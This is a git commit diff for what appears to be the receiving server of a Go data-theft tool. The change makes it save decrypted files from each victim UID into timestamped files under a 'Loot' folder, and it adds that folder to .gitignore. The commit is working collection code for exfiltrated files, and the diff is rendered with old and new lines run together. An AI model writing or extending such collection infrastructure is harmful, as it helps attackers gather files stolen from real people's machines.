Write to file

This commit is contained in:
Joren Schipman 2024-05-01 22:41:47 +02:00
parent 20400fe4f3
commit 819c74cf80
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 41 additions and 3 deletions

1
.gitignore vendored
View File

@ -1 +1,2 @@
private_key.pem private_key.pem
Loot/*

View File

@ -14,6 +14,8 @@ import (
"log" "log"
"net" "net"
"github.com/liamg/magic" "github.com/liamg/magic"
"os"
"time"
) )
func main() { func main() {
@ -188,7 +190,42 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte){
panic(err) panic(err)
} }
} }
fmt.Printf("UID: %s\n", string(uidB))
fmt.Printf("File extension: %s\n", fileType.Extension) uid := strings.TrimSpace(string(uidB))
fmt.Printf("File type description: %s\n", fileType.Description) folderPath := fmt.Sprintf("Loot/%s", uid)
err = createFolderIfNotExists(folderPath)
if err != nil {
panic(err)
}
timestamp := time.Now().Unix()
filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension)
filePath := fmt.Sprintf("%s/%s", folderPath, filename)
fmt.Println(filePath)
err = saveFile(filePath, data)
if err != nil {
panic(err)
}
fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath)
}
func createFolderIfNotExists(folderPath string) error {
_, err := os.Stat(folderPath)
if os.IsNotExist(err) {
err := os.MkdirAll(folderPath, 0755)
if err != nil {
return err
}
}
return nil
}
func saveFile(filePath string, data []byte) error {
err := ioutil.WriteFile(filePath, data, 0644)
if err != nil {
return err
}
return nil
} }